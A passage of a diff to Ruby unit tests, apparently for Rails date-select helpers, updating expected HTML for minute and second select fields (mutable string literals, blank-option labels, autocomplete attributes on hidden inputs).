+    expected = +%(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -647,7 +706,7 @@ def test_select_minute_with_disabled
   end
 
   def test_select_minute_with_field_name_override
-    expected = %(<select id="date_minuto" name="date[minuto]">\n)
+    expected = +%(<select id="date_minuto" name="date[minuto]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -655,55 +714,55 @@ def test_select_minute_with_field_name_override
   end
 
   def test_select_minute_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
   end
 
   def test_select_minute_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true , minute_step: 15)
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true, minute_step: 15)
   end
 
   def test_select_minute_nil_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_minute(nil, include_blank: true)
   end
 
   def test_select_minute_nil_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_minute(nil, include_blank: true , minute_step: 15)
+    assert_dom_equal expected, select_minute(nil, include_blank: true, minute_step: 15)
   end
 
   def test_select_minute_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, use_hidden: true)
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" autocomplete=\"off\" />\n", select_minute(8, use_hidden: true)
   end
 
   def test_select_minute_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, use_hidden: true, field_name: "minuto")
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" autocomplete=\"off\" />\n", select_minute(8, use_hidden: true, field_name: "minuto")
   end
 
   def test_select_minute_with_html_options
-    expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+    expected = +%(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, { class: "selector", accesskey: "M" })
   end
 
   def test_select_minute_with_default_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
     expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -711,7 +770,7 @@ def test_select_minute_with_default_prompt
   end
 
   def test_select_minute_with_custom_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected = +%(<select id="date_minute" name="date[minute]">\n)
     expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -719,7 +778,7 @@ def test_select_minute_with_custom_prompt
   end
 
   def test_select_minute_with_generic_with_css_classes
-    expected = %(<select id="date_minute" name="date[minute]" class="minute">\n)
+    expected = +%(<select id="date_minute" name="date[minute]" class="minute">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -727,7 +786,7 @@ def test_select_minute_with_generic_with_css_classes
   end
 
   def test_select_minute_with_custom_with_css_classes
-    expected = %(<select id="date_minute" name="date[minute]" class="my-minute">\n)
+    expected = +%(<select id="date_minute" name="date[minute]" class="my-minute">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -735,7 +794,7 @@ def test_select_minute_with_custom_with_css_classes
   end
 
   def test_select_second
-    expected = %(<select id="date_second" name="date[second]">\n)
+    expected = +%(<select id="date_second" name="date[second]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -743,7 +802,7 @@ def test_select_second
   end
 
   def test_select_second_with_disabled
-    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
+    expected = +%(<select id="date_second" name="date[second]" disabled="disabled">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -751,7 +810,7 @@ def test_select_second_with_disabled
   end
 
   def test_select_second_with_field_name_override
-    expected = %(<select id="date_segundo" name="date[segundo]">\n)
+    expected = +%(<select id="date_segundo" name="date[segundo]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
@@ -759,31 +818,31 @@ def test_select_second_with_field_name_override
   end
 
   def test_select_second_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected = +%(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="" label=" "></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
     assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
   end
 
   def test_select_second_nil_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
